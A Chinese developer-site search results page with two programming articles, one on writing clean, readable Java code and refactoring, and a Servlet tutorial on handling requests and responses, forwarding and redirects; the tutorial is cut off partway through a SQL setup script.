首页> 搜索结果页
"apache2.4 服务器" 检索
共 1439 条结果
一文详解|如何写出优雅的代码
一、好代码的定义谈到好代码,我的第一想法就是优雅,那我们如何该写出好的代码,让阅读的人感受到优雅呢?首先简单探讨一下优雅代码的定义关于好代码的定义,各路大神都给出了自己的定义和见解整洁的代码如同优美的散文。—— Grady Booch任何一个傻瓜都能写出计算机可以理解的代码。唯有写出人类容易理解的代码,才是优秀的程序员。—— Martin Fowler首先要达成一致,我们写的代码,除了用于机器执行产生我们预期的效果之外,更多的时候是给人读的,可能是后续的维护人员,更多时候是一段时间后的作者本人,因此优雅面向不同的用户有两层含义的解读对人而言,代码的整洁,清晰的逻辑对机器而言,准确性、执行性能、异常处理机制等这次,我们就来聊一聊,什么代码是优雅的代码,怎样写出优雅的代码二、代码整洁1. 有意义的命名简单说就是类、方法、变量的命名要名副其实,要能描述清晰自己的职责。一个好的命名能输出更多的信息,它会告诉你,它为什么存在,它是做什么事的,应该怎么使用。一个简单的衡量标准是,如果命名完仍需要注释来补充语义,那就不是名副其实;选个好名字要花时间,但省下的时间的时间比花掉的多,一旦发现有更好的名称,就换掉旧的。举个栗子public List<int[]> getItem() { List<int[]> list1 = new ArrayList<int[]>(); for (int[] x: theList) if (x[0] == 4) list1.add(x); return list1; }整体逻辑没啥问题,读完之后,就有很多问题在脑海中产生1. theList中是存储什么东西的数组?2. theList第一个值是做什么的?3. 值4的意义又是什么?4. 返回的列表该怎么使用?代码应该体现所处的情景,比方说上述的代码所处情景是我们正在开发一种扫雷游戏,盘面是名为theList的单元格列表,那就将其名称改为gameBoard。盘面上每个单元格都用一个简单数组表示。零下标条目是一种状态值,而这种状态值为4代表“已标记”。只要改为有意义的名称,代码就得到了改进。更进一步,不用int数组来表示单元格,而是另写一个类。该类包括一个名副其实的函数(称为isFlagged),从而掩盖住哪个魔术数4,得到新的函数版本。public List<Cell> getFlaggedCells() { List<Cell> flaggedCells = new ArrayList<Cell>(); for (Cell cell : gameBoard) if (cell.isFlagged()) flaggedCells.add(cell); return flaggedCells; }2. 优雅的注释实际上,只要我们的代码有足够的表达力,能清晰的通过命名来做到名副其实,就不太需要注释,或者根本不需要;注释的存在往往是弥补我们无法用代码清晰表达意图的情况。可以想象一下,每次自己发现需要写注释的时候,是什么心态,担心此处代码明天自己看不懂或者别人看不懂,那有没有考虑用更好的语义的代码来替代。但尽管有注释,也有好有坏,有时候注释也会撒谎,通常注释存在的越久,就离其描述的代码越远,变得越来越离谱;因为代码在变动在迭代,在注释和代码间可能会插入新的代码,旧代码我们通常copy来copy去,分离又重组,但注释一般不会修改,就会造成注释和描述的代码分离,对阅读者造成更大的迷惑。我们在需要写注释的时候就要告诉自己,能不能用代码来进行描述。以下是一些坏代码的注释bad case1. 一些被注释掉的代码 //something code //something code 2. 位置标记 //begin someting code; //end 3. 签名标记 /** add by xiaoli*/ 4. 非公用方法的javadoc /** * doSomething */ private void doSomething(){ } 5. 日志式注释 /** add xx * update sometimes * update sometimes * update sometimes */ 6. 误导性注释 //此处怎样xx3. 优雅的函数3.1 务必要短小方法应该有多短小?没有明确约束,idea也不会限制你,但通常我们的方法不该长于一屏,至少多于一屏或者横向外溢到屏幕以外最直观的就会造成可读性体验差,读了下面忘记上面,左右拖拽等。对大多数笔记本来说一屏大概就30行左右。短小精简的方法要比30行短很多,比如public String renderPageWithSetupAndTeardowns(Page page, boolean isSuite) throws Exception{ if(isTestPage(page)){ includeSetupAndTeardownPages(page,isSuite); } return page.getHtml(); }if语句、else语句、while语句等,其中的代码应该只有一行,改行通常是一个调用语句,这样不但能保持短小,还可以给调用方法命名一个有说明性的名字,进一步增加代码的可读性3.2 只做一件事一事精,便可动人。这个普世法则甚至适用于各种场合。像设计原则的单一职责模式,让类只有一个职责。如果一个类有一个以上的职责,这些职责就耦合在了一起。这会导致逻辑混乱,设计耦合。当一个职责发生变化时,可能会影响其它的职责。另外,多个职责耦合在一起,会影响复用性。针对方法而言更是如此。方法作为程序的原子单元,保持单一会有效提升复用性。 那怎么判断一个方法是否只做了一件事。最简单的规则就是看看该方法是否能在拆出一个方法,且拆出去的方法是不同于该方法的诠释和实现。但是要注意同一方法的逻辑层级务必要一致。3.3 抽象层级一致抽象层级一致也是对方法只做一件事的更高要求,抽象层级不一致的代码一定是做了多件事。我们读代码通常是自顶向下阅读,我们想让每个方法后面都跟着位于下一层级的方法,这样我们可以依着抽象层级向下阅读了。我们也需要这样阅读代码,先有整体在展示细节,这种叫向下规则。这也是保持方法短小,确保只做一件事的诀窍。一旦方法中混杂不同的抽象层级,会让人很迷惑,因为没办法这个方法中判断某个表达式是基础概念还是细节,更恶劣的是,一旦细节与基础概念混杂,更多的细节就会纠缠不清,举例子我们想写一个冰冻大象的需求//把大象装进冰箱 public void frozenElephant(){ //1. 捕捉大象 //2. 运输大象 //3. 打开冰箱 //4. 放入大象 //5. 关闭冰箱 }这个例子的1.2两步就不是一个层级的逻辑,是属于更高层级的抽象。3.4.5都是将大象放入冰箱的步骤,属于低层级的抽象。可以将代码拆分为如下实现,将高抽象层级的代码聚合提取出来,细节在分别单独实现,如下public void frozenElephant(){ //1. 捕捉大象 catchElephant(); //2. 运输大象 transportElephant(); //将大象放入冰箱 putElephantInRefrigerator(); } public void catchElephant(){ } public void transportElephant(){ } public void putElephantInRefrigerator(){ //打开冰箱 //放入大象 //关闭冰箱 }3.4 使用异常替代返回错误码针对错误码的判断会导致更深层次的嵌套结构,返回错误码就意味着要求调用者跟着处理错误,如下if(deletePage() == OK){ if(registry.deleteReference(page.name) == OK){ if(configKeys.deleteKey(page.name.makeKey) == OK){ logger.log("page deleted") }else{ logger.log("configKey not deleted") } }else{ logger.log("deleteReference from registry failed") } }else{ logger.log("delete failed") return Error; }一般我们还需要将try/Catch代码块给抽离出去,另外形成方法。防止代码块过多搞乱代码结构,分不清错误处理还是正常流程。同时因为方法只做一件事,错误处理就是一件事,因此错误处理的方法不应该在做其他事,也就是如果一个方法中有try关键字,那try就是方法的开头。catch/finally代码块后面也不应该再有内容,如下try{ deletePage(page); registry.deleteReference(page.name); configKeys.deleteKey(page.name.makeKey); }catch(Exception e){ logger.log(e.getMessage()); }3.5 使用第三方库比如Lombok组件通过注解的方式,在编译时自动为属性生成构造器、getter/setter、equals、hashcode、toString方法 举例如下:比如Apache Commons系列组件给我们提供了关于字符串、集合、IO操作等工具方法。这些组件是个大宝库,提供了不少轮子beanUtilsJavaBean进行各种操作,克隆对象、属性等等codec处理常用的编码方法的工具类包,例如DES、SHA1、MD5、Base64等.collectionsjava集合框架操作configurationjava应用程序的配置管理类库ioio工具的封装langJava基本对象方法的工具类包 如StringUtils、ArrayUtils等等.logging提供的日志接口net提供了客户端和服务器端的数据验证框架三、代码重构重构是对软件内部结构的一种调整,目的是在不改变软件可观察行为的前提下,提高其可理解性,降低其修改成本。在重构之前一定要知道,一旦开始对类和方法进行重构,就需要事前有完备的单元测试用例来保障重构的准确性,每次重构之后都要去执行对应的单元测试用例,验证重构的正确性!1. 识别代码的坏味道1.1 重复的代码如果在一个以上的地点看到相同的代码结构,可以肯定的是,想办法抽线出来合而为一,代码会变得更好。一般包含几个点的重复最单纯的重复代码就是“同一个类的两个函数含有相同的表达式”。这时候需要做的就是采用提炼函数提炼出重复的代码,然后让这两个地点都调用被提炼出来的那一段代码如果重复代码只是相似而不是完全相同,需要先尝试用移动语句重组代码顺序,把相似的部分放在一起以便提炼。如果重复的代码段位于同一个超类的不同子类中,可以使用函数上移来避免在两个子类之间互相调用。1.2 过长的函数遵循这样一条原则:每当感觉需要以注释来说明点什么的时候,就把需要说明的东西写进一个独立函数中,并以其用途(而非实现手法)命名,可以对一组甚至短短一行代码做这件事。哪怕替换后的函数调用动作比函数自身还长,只要函数名称能够解释其用途,就要毫不犹豫地那样做,关键不在于函数的长度,而在于函数“做什么”和“如何做”之间的语义距离。百分之九十九的场合里,要把函数变短,只需使用提炼函数。找到函数中适合集中在一起的部分,将它们提炼出来形成一个新函数。如果函数内有大量的参数和临时变量,最终就会把许多参数传递给被提炼出来的新函数,导致可读性几乎没有任何提升。此时可以经常运用以查询取代临时变量来消除这些临时元素。引入参数对象和保持对象完整则可以将过长的参数列表变得更简洁一些。如果有多个switch语句基于同一个条件 进行分支选择,就应该使用以多态取代条件表达式。1.3 数据的可变性对数据的修改经常导致出乎意料的结果和难以发现的bug。在一处更新数据,却没有意识到软件中的另一处期望着完全不同的数据,于是出现难以预料的bug,往往比较难排查(需要排查数据流转的整体链路),这就需要一些方法用于约束对数据的更新,降低数据可变性的风险。可以用封装变量来确保所有数据更新操作都通过很少几个函数来进行,使其更容易统一监控和演进如果一个变量在不同时候被用于存储不同的东西, 可以使用拆分变量将其拆分为各自不同用途的变量,从而避免危险的更新操作。使用移动和提炼函数尽量把逻辑从处理更新操作的代码中搬移出来,将业务处理逻辑代码与执行数据更新操作的代码分开。1.4 模块单一职责所谓模块化,就是力求将代码分出区域,最大化区域内部的交互、最小化跨区域的交互。但是经常出现一个函数跟另一个模块中的函数或者数据交流格外频繁,远胜于与所处模块内部的交流,这就是模块功能不单一的典型情况。总看到某个函数为了计算某个值,从另一个对象那儿调用半打的取值函数。如果这个函数需要跟这些数据待在一起,那就使用移动功能把它移过去。一个函数往往会用到几个模块的功能,那么它究竟该被置于何处呢?原则是:判断哪个模块拥有的此函数使用的数据最多,然后就把这个函数和那些数据摆在一起。 如果先以提炼函数将这个函数分解为数个较小的函数并分别置放于不同类中,上面的步骤就会比较容易完成。Strategy模式和Visitor模式是为了对抗发散式变化,但也能解决单一职责问题,最根本的原则是:将总是一起变化的东西放在一块儿。 数据和引用这些数据的行为总是一起变化的,如果有特殊情况,我们就搬移那些行为,保持变化始终只在一地发生。2. 函数重构的方法2.1 Extract Method提取函数这个是最常用的操作,将大函数按模块拆分为几个小的函数,在重构时提倡将代码模块细分,因为模块越小,可重用度就越大。不要写大函数,如果你的函数过大,那么这意味着你的函数需要重构了。因为函数过大,可维护性,可理解性就会变差。并且当你实现类似功能的时候就容易产生重复代码。写代码时,最忌讳的就是代码重复。2.2 Inline Method内联函数这个和Extract Method是相对的,如果重构过程中对模块进行过度拆分的话,就需要使用该方法对函数进行中和,将过度拆分的函数在组装到一起。2.3 Replace Temp with Query以查询取代临时变量说白了就是将有着复杂表达式赋值的逻辑使用函数查询取代,这样一来在实现类似功能的函数时,这些复杂的临时变量就可以进行复用,从而减少代码的重复率,使用合理的命名解释复杂的表达式逻辑也增强了可读性。2.4 Inline Temp内联临时变量与2.3 Replace Temp with Query相对,就不过多赘述了2.5 Introduce Explaining Variable引入解释性变量引入变量是为了解释该表达式中的一部分的功能的,目的在于让该表达式具有更好的可读性。使用Introduce Explaining Variable规则,就相当于为该表达式添加上相应的注释2.6 Split Temporary Variable分解临时变量具体说来就是在一个函数中一个临时变量不能做两种事情,也就是一个临时变量不能赋上不同意义的值。如果你这么做了,那么对不起,请对该重复使用的临时变量进行分解,也就是说你需要创建一个新的临时变量来接收第二次分配给第一个临时变量的值,并为第二个临时变量命一个确切的名字。2.7 Remove Assignments to Parameters移除对参数的赋值就是在函数中不要对函数参数进行赋值,当直接对函数的参数进行修改时,就应该对此重构。因为这样会使参数的原始值丢失,我们需要引入临时变量,然后对这个临时变量进行操作。2.8 Replace Method with Method Object以函数对象取代函数当一个特别长的函数,而且函数中含有比较复杂的临时变量,使用上述方法不好进行重构时,就要考虑将该函数封装成一个类了。这个对应的类的对象就是函数对象。我们可以将该场函数中的参数以及临时变量转变成类的属性,函数要做的事情作为类的方法。将函数转变成函数类后,我们就可以使用上述的方法对新类中的函数进行重构了。四、小结关于代码的逻辑和重构都是很基础的东西,在写代码之前我们就要思考如何做到整洁、优雅,并一直遵循这些经验来编写代码,所谓的“代码感”就自然而然的滋养而出,要时刻提醒自己,仅仅编写出可运行的代码是远远不够的!要以一个分享者的角度去写代码,再换位成一个阅读者的视角去审视自己的代码,如果能做了自己心里那一关,那一切就OK了!
文章
存储  ·  编解码  ·  监控  ·  Java  ·  测试技术  ·  程序员
2022-12-19
Request&Response
Request&Response第一章 Request1. 学习目标了解Request的概念了解Request的组成部分掌握Request获取请求行的信息掌握Request获取请求头的信息掌握Request获取请求参数掌握解决请求参数乱码掌握Request域对象掌握请求转发2. 内容讲解2.1 Request概述2.1.1 Request的概念在Servlet API中,定义了一个HttpServletRequest接口,它继承自ServletRequest接口,专门用来封装HTTP请求消息。由于HTTP请求消息分为请求行、请求头和请求体三部分,因此,在HttpServletRequest接口中定义了获取请求行、请求头和请求消息体的相关方法.用我们自己的话来理解: Request就是服务器中的一个对象,该对象中封装了HTTP请求的请求行、请求头和请求体的内容2.1.2 Request的组成请求行: 包含请求方式、请求的url地址、所使用的HTTP协议的版本请求头: 一个个的键值对,每一个键值对都表示一种含义,用于客户端传递相关的信息给服务器请求体: POST请求有请求体,里面携带的是POST请求的参数,而GET请求没有请求体2.1.3 Request的作用获取HTTP请求三部分内容(行,头,体)进行请求转发跳转作为请求域对象进行存取数据2.2 Request获取HTTP请求的内容2.2.1 获取请求头的APIgetMethod() ;获取请求方式getContextPath() ; 获得当前应用上下文路径getRequestURI();获得请求地址,不带主机名getRequestURL();获得请求地址,带主机名public class ServletDemo01 extends HttpServlet {    @Override    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {        doGet(request, response);   }    @Override    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {        //使用request对象获取请求行的信息:        //1. 获取请求的方式(可能会用)        String method = request.getMethod();        //System.out.println("请求方式为:" + method);;        //2. 获取请求的url: 统一资源定位符 http://localhost:8080/requestDemo/demo01        String url = request.getRequestURL().toString();        //System.out.println("此次请求的url是:" + url);        //3. 获取请求的uri: 统一资源标识符,在url的基础上省略了服务器路径"http://loaclhost:8080"        String uri = request.getRequestURI();        System.out.println(uri);   } }2.2.2 获取请求头的APIgetHeader(String name), 根据请求头的name获取请求头的值public class ServletDemo02 extends HttpServlet {    @Override    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {        doGet(request, response);   }    @Override    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {        //根据请求头的name获取value        //目标:获取name为user-agent的请求头的信息        //user-agent请求头中包含的是客户端浏览器信息        String header = request.getHeader("user-agent");        System.out.println("获取的请求头agent为:" + header);   } }2.2.3 获取请求参数2.2.3.1 请求参数的概念请求参数是客户端携带给服务器的由键值对组成的数据,例如"username=aobama&password=123456"这种类型的数据2.2.3.2 客户端携带请求参数的形式URL地址后面附着的请求参数,例如http://localhost:8080/app/hellServlet?username=汤姆表单携带请求参数Ajax请求携带请求参数(后续会学习)2.2.3.3 获取请求参数的API方法名返回值类型方法描述request.getParameterMap()Map<String, String[]>获取当前请求的所有参数,以键值对的方式存储到Map中request.getParameter("请求参数的名字")String根据一个参数名获取一个参数值request.getParameterValues("请求参数的名字")String []根据一个参数名获取多个参数值request.getParameterNames()Enumeration获取当前请求的所有参数的参数名2.2.3.4 实例代码HTML代码<!-- 测试请求参数的表单 --> <form action="/orange/ParamServlet" method="post">    <!-- 单行文本框 -->    <!-- input标签配合type="text"属性生成单行文本框 -->    <!-- name属性定义的是请求参数的名字 -->    <!-- 如果设置了value属性,那么这个值就是单行文本框的默认值 -->   个性签名:<input type="text" name="signal" value="单行文本框的默认值" /><br/>    <!-- 密码框 -->    <!-- input标签配合type="password"属性生成密码框 -->    <!-- 用户在密码框中填写的内容不会被一明文形式显示 -->   密码:<input type="password" name="secret" /><br/>    <!-- 单选框 -->    <!-- input标签配合type="radio"属性生成单选框 -->    <!-- name属性一致的radio会被浏览器识别为同一组单选框,同一组内只能选择一个 -->    <!-- 提交表单后,真正发送给服务器的是name属性和value属性的值 -->    <!-- 使用checked="checked"属性设置默认被选中 -->   请选择你最喜欢的季节:    <input type="radio" name="season" value="spring" />春天    <input type="radio" name="season" value="summer" checked="checked" />夏天    <input type="radio" name="season" value="autumn" />秋天    <input type="radio" name="season" value="winter" />冬天    <br/><br/>   你最喜欢的动物是:    <input type="radio" name="animal" value="tiger" />路虎    <input type="radio" name="animal" value="horse" checked="checked" />宝马    <input type="radio" name="animal" value="cheetah" />捷豹    <br/>    <!-- 多选框 -->    <!-- input标签和type="checkbox"配合生成多选框 -->    <!-- 多选框被用户选择多个并提交表单后会产生『一个名字携带多个值』的情况 -->   你最喜欢的球队是:    <input type="checkbox" name="team" value="Brazil"/>巴西    <input type="checkbox" name="team" value="German" checked="checked"/>德国    <input type="checkbox" name="team" value="France"/>法国    <input type="checkbox" name="team" value="China" checked="checked"/>中国    <input type="checkbox" name="team" value="Italian"/>意大利    <br/>    <!-- 下拉列表 -->    <!-- 使用select标签定义下拉列表整体,在select标签内设置name属性 -->   你最喜欢的运动是:    <select name="sport">        <!-- 使用option属性定义下拉列表的列表项 -->        <!-- 使用option标签的value属性设置提交给服务器的值,在option标签的标签体中设置给用户看的值 -->        <option value="swimming">游泳</option>        <option value="running">跑步</option>        <!-- 使用option标签的selected="selected"属性设置这个列表项默认被选中 -->        <option value="shooting" selected="selected">射击</option>        <option value="skating">溜冰</option>    </select>    <br/>    <br/><br/>    <!-- 表单隐藏域 -->    <!-- input标签和type="hidden"配合生成表单隐藏域 -->    <!-- 表单隐藏域在页面上不会有任何显示,用来保存要提交到服务器但是又不想让用户看到的数据 -->    <input type="hidden" name="userId" value="234654745" />    <!-- 多行文本框 -->   自我介绍:<textarea name="desc">多行文本框的默认值</textarea>    <br/>    <!-- 普通按钮 -->    <button type="button">普通按钮</button>    <!-- 重置按钮 -->    <button type="reset">重置按钮</button>    <!-- 表单提交按钮 -->    <button type="submit">提交按钮</button> </form>Java代码protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {    doPost(request,response); } protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {    // 获取包含全部请求参数的Map    Map<String, String[]> parameterMap = request.getParameterMap(); ​    // 遍历这个包含全部请求参数的Map    Set<String> keySet = parameterMap.keySet(); ​    for (String key : keySet) { ​        String[] values = parameterMap.get(key); ​        System.out.println(key + "=" + Arrays.asList(values));   } ​    System.out.println("---------------------------"); ​    // 根据请求参数名称获取指定的请求参数值    // getParameter()方法:获取单选框的请求参数    String season = request.getParameter("season");    System.out.println("season = " + season); ​    // getParameter()方法:获取多选框的请求参数    // 只能获取到多个值中的第一个    String team = request.getParameter("team");    System.out.println("team = " + team); ​    // getParameterValues()方法:取单选框的请求参数    String[] seasons = request.getParameterValues("season");    System.out.println("Arrays.asList(seasons) = " + Arrays.asList(seasons)); ​    // getParameterValues()方法:取多选框的请求参数    String[] teams = request.getParameterValues("team");    System.out.println("Arrays.asList(teams) = " + Arrays.asList(teams)); }2.4 解决获取请求参数乱码2.4.1 为什么会发生请求参数乱码因为客户端发送给请求参数给服务器的时候需要进行编码,将字符串编码成二进制才能够在网络中传输,而服务器在接收到二进制之后需要进行解码才能够获取真正的请求参数;在这个过程中如果保证客户端编码使用的字符集和服务器解码使用的字符集相同的话,基本上(只要采用正确的够用的字符集)就不会发生乱码了;而发生乱码的原因是因为使用了错误的字符集,或者是客户端与服务器端所采用的字符集不一致。2.4.2 怎么解决请求参数乱码我们当前使用的Tomcat的版本是Tomcat8以上,所以我们不需要考虑GET方式乱码的问题,因为Tomcat8及以上版本已经在配置中解决了GET请求乱码的问题。我们只需要解决POST请求乱码问题解决POST请求的参数乱码只需要在获取请求参数前调用request.setCharacterEncoding("UTF-8")就行了2.5 请求转发2.5.1 什么是请求转发请求转发是从一个资源跳转到另一个资源,在这个过程中客户端不会发起新的请求2.5.2 请求转发的入门案例2.5.2.1 案例目标从ServletDemo01使用请求转发的方式跳转到ServletDemo022.5.2.2 请求转发的APIrequest.getRequestDispatcher("路径").forward(request,response);2.5.2.3 案例代码ServletDemo01的代码public class ServletDemo01 extends HttpServlet {    @Override    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {        doGet(request, response);   } ​    @Override    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {        System.out.println("ServletDemo01执行了...")        //请求转发跳转到ServletDemo02        request.getRequestDispatcher("/demo02").forward(request, response);   } }ServletDemo02的代码public class ServletDemo02 extends HttpServlet {    @Override    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {        doGet(request, response);   } ​    @Override    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {        System.out.println("ServletDemo02执行了...")   } }2.5.3 请求转发的特征请求转发的跳转是由服务器发起的,在这个过程中浏览器只会发起一次请求请求转发只能跳转到本项目的资源,但是可以跳转到WEB-INF中的资源请求转发不会改变地址栏的地址2.5 请求域对象2.5.1 请求域范围我们之前学过全局域的范围,全局域是整个项目范围的所有动态资源都能够共享的一个范围;而请求域的范围只是在一次请求中的动态资源能够共享的一个范围2.5.2 请求域对象的API往请求域中存入数据:request.setAttribute(key,value)从请求域中取出数据:request.getAttribute(key)2.5.3 请求域对象案例2.5.3.1 案例目标在ServletDemo01中往请求域中存入"username"作为key,"aobama"作为值的键值对;然后在ServletDemo02中从请求域中根据"username"取出对应的值2.5.3.2 使用请求域的前提请求域对象一定要和请求转发一起使用,因为请求域的范围是一次请求范围内,所以要在两个动态资源中使用请求域必须要进行请求转发跳转2.5.3.3 案例代码ServletDemo01的代码public class ServletDemo01 extends HttpServlet {    @Override    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {        doGet(request, response);   } ​    @Override    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {        System.out.println("ServletDemo01执行了...")        String username = "aobama"; ​        //将username存储到request域对象中        request.setAttribute("name",username);        //请求转发跳转到ServletDemo02        request.getRequestDispatcher("/demo02").forward(request, response);   } }ServletDemo02的代码public class ServletDemo02 extends HttpServlet {    @Override    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {        doGet(request, response);   } ​    @Override    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {        String username = (String)request.getAttribute("name");        System.out.println("在ServletDemo02中获取username:"+username)   } }2.6 JavaBean2.6.1 什么是JavaBeanJavaBean是使用Java语言编写的可重用组件,在我们的项目中JavaBean主要用于存储内存中的数据,以及提供方法便于使用者获取数据2.6.2 JavaBean的编写要求类必须是公有的必须有无参构造函数属性私有,使用private修饰针对所有的私有属性,提供对应的set和get方法建议重写toString()方法,便于打印对象基本类型简写使用包装类型2.6.3 JavaBean的示例public class User {    private Integer id;    private String username; ​    public User() {   } ​    public Integer getId() {        return id;   } ​    public void setId(Integer id) {        this.id = id;   } ​    public String getUsername() {        return username;   } ​    public void setUsername(String username) {        this.username = username;   } ​    @Override    public String toString() {        return "User{" +                "id=" + id +                ", username='" + username + ''' +                '}';   } }2.7 使用BeanUtils将Map中的数据封装到JavaBean对象中2.7.1 使用JavaBean存储数据和使用Map存储数据的优缺点对比2.7.1.1 使用Map存储数据的优缺点优点:灵活性强于javabean,易扩展,耦合度低。写起来简单,代码量少。缺点:javabean在数据输入编译期就会对一些数据类型进行校验,如果出错会直接提示。而map的数据类型则需要到sql层,才会进行处理判断。map的参数名称如果写错,也是需要到sql层,才能判断出是不是字段写错,不利于调试等。相对而言javabean会在编译期间发现错误map的参数值如果多传、乱传,也是需要到sql层,才能判断出是不是字段写错,不利于调试等。相对而言javabean会在编译期间发现错误仅仅看方法签名,你不清楚Map中所拥有的参数个数、类型、每个参数代表的含义。 后期人员去维护,例如需要加一个参数等,如果项目层次较多,就需要把每一层的代码都了解清楚才能知道传递了哪些参数2.7.1.2 使用JavaBean存储数据的优缺点优点:面向对象的良好诠释、数据结构清晰,便于团队开发 & 后期维护代码足够健壮,可以排除掉编译期错误Map存储数据的缺点都是JavaBean存储数据的优点缺点:代码量增多,需要花时间去封装JavaBean类2.7.2 我们存储数据时候的选择通常情况下,我们会选择使用JavaBean来存储内存中的数据,除非是非常简单的数据没有必要多编写一个JavaBean类的时候才会选择使用Map进行存储2.7.3 BeanUtils的使用2.7.3.1 作用将Map中的数据填充到JavaBean对象中2.7.3.2 API方法介绍BeanUtils.populate(map对象,JavaBean.class);2.7.3.3 使用步骤导入对应的jar包调用BeanUtils类的populate方法,传入对应的参数就可以了第二章 Response1. 学习目标了解Response的概念了解Response的组成部分掌握使用Response向客户端输出字符串掌握解决输出字符串时候的乱码问题掌握重定向了解重定向和请求转发的区别2. 内容讲解2.1 Response的概述2.1.1 Response的概念在Servlet API中,定义了一个HttpServletResponse接口(doGet,doPost方法的参数),它继承自ServletResponse接口,专门用来封装HTTP响应消息。由于HTTP响应消息分为响应行、响应头、响应体三部分,因此,在HttpServletResponse接口中定义了向客户端发送响应状态码、响应头、响应体的方法用我们自己的话说: Response就是服务器端一个对象,它里面可以封装要响应给客户端的响应行、头、体的信息2.1.2 Response的组成部分响应行: 包含响应状态码、状态码描述信息、HTTP协议的版本响应头: 一个个的键值对,每一个键值对都包含了具有各自含义的发送给客户端的信息响应体: 用于展示在客户端的文本、图片,或者供客户端下载或播放的内容2.1.3 Response的作用设置响应行的信息,主要是设置响应状态码设置响应头的信息设置响应体的信息2.2 使用Response向客户端输出字符串2.2.1 输出字符串的API//1. 获取字符输出流 PrintWriter writer = response.getWriter(); //2. 输出内容 writer.write("hello world");2.2.2 响应数据乱码问题由于服务器端在输出内容的时候进行编码使用的字符集和客户端进行解码的时候使用的字符集不一致,所以会发生响应数据乱码问题。 我们解决响应数据乱码问题只需要在获取字符输出流之前,执行如下代码就可以了:response.setContentType("text/html;charset=UTF-8");2.3 使用response向客户端响应一个文件2.3.1 使用字节输出流的APIServletOutputStream os = response.getOutputStream();2.3.2 案例目标在ServletDemo01中使用response向浏览器输出一张图片2.3.3 案例代码package com.atguigu.servlet; ​ import javax.servlet.ServletException; import javax.servlet.ServletOutputStream; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.FileInputStream; import java.io.IOException; import java.io.InputStream; ​ /** * @author Leevi * 日期2021-05-11 11:19 */ public class ServletDemo01 extends HttpServlet {    @Override    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {        doGet(request, response);   } ​    @Override    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {        //解决响应内容的乱码问题        //response.setContentType("text/html;charset=UTF-8"); ​        //System.out.println("hello world");        //response就是服务器端要发送给客户端的响应内容,它里面包含三部分: 响应行、头、体        //1. 设置响应行的内容:        //设置响应的状态码,但是一般情况下我们不需要设置状态码,因为服务器会自动设置状态码        //response.setStatus(404); ​        //2. 设置响应头信息: setHeader("name","value"); ​        //3. 设置响应体的信息: 响应体就是显示在浏览器的数据        //3.1 通过字符流往浏览器输出文本内容        //response.getWriter().write("<h1>你好世界...</h1>"); ​        //3.2 使用字节流往浏览器输出一张图片        //首先设置响应数据的mime-type ​        //第一步: 使用字节输入流读取那张图片        //使用ServletContext获取资源的真实路径        String realPath = getServletContext().getRealPath("img/mm.jpg");        InputStream is = new FileInputStream(realPath);        //第二步: 使用字节输出流,将图片输出到浏览器        ServletOutputStream os = response.getOutputStream();        //边读编写        int len = 0;        byte[] buffer = new byte[1024];        while ((len = is.read(buffer)) != -1){            os.write(buffer,0,len);       }        os.close();        is.close();   } }2.4 重定向2.4.1 什么是重定向重定向是由项目中的一个资源跳转到另一个资源,在这个过程中客户端会发起新的请求2.4.2 重定向的入门案例2.4.2.1 案例目标从ServletDemo01重定向跳转到ServletDemo022.4.2.2 重定向的APIresponse.sendRedirect("路径");2.3.2.3 案例代码ServletDemo01的代码public class ServletDemo01 extends HttpServlet {    @Override    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {        doGet(request, response);   } ​    @Override    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {        System.out.println("ServletDemo01执行了...")        //请求转发跳转到ServletDemo02        response.sendRedirect("/app/demo02");   } }ServletDemo02的代码public class ServletDemo02 extends HttpServlet {    @Override    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {        doGet(request, response);   } ​    @Override    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {        System.out.println("在ServletDemo02执行了.....")   } }2.4.3 重定向的特征重定向的跳转是由浏览器发起的,在这个过程中浏览器会发起两次请求重定向跳转可以跳转到任意服务器的资源,但是无法访问WEB-INF中的资源重定向跳转浏览器的地址栏中的地址会变成跳转到的路径2.5 重定向和请求转发的对比重定向会由浏览器发起新的请求,而请求转发不会发起新的请求重定向可以访问任意互联网资源,而请求转发只能访问本项目资源重定向不能访问本项目的WEB-INF内的资源,而请求转发可以访问本项目的WEB-INF内的资源发起重定向的资源和跳转到的目标资源没在同一次请求中,所以重定向不能在请求域中使用;而发起请求转发的资源和跳转到的目标资源在同一次请求中,所以请求转发可以在请求域中使用2.6 综合案例2.6.1 案例目标2.6.2 案例实现步骤新建module拷贝内容三个jar包:mysql驱动、druid连接池、dbutils工具类配置文件编写html页面<!DOCTYPE html> <html lang="en">    <head>        <meta charset="UTF-8">        <title>登录页面</title>    </head>    <body>        <form action="/web0603/login" method="post">           用户名<input type="text" name="username"/><br/>           密码<input type="text" name="password"/><br/>            <input type="submit" value="登录">        </form>    </body> </html>4.准备数据CREATE TABLE `t_user` (  `id` int(11) NOT NULL AUTO_INCREMENT,  `username` varchar(50) DEFAULT NULL,  `password` varchar(50) DEFAULT NULL,  `nickname` varchar(50) DEFAULT NULL,  PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8; ​ insert  into `t_user`(`id`,`username`,`password`,`nickname`) values 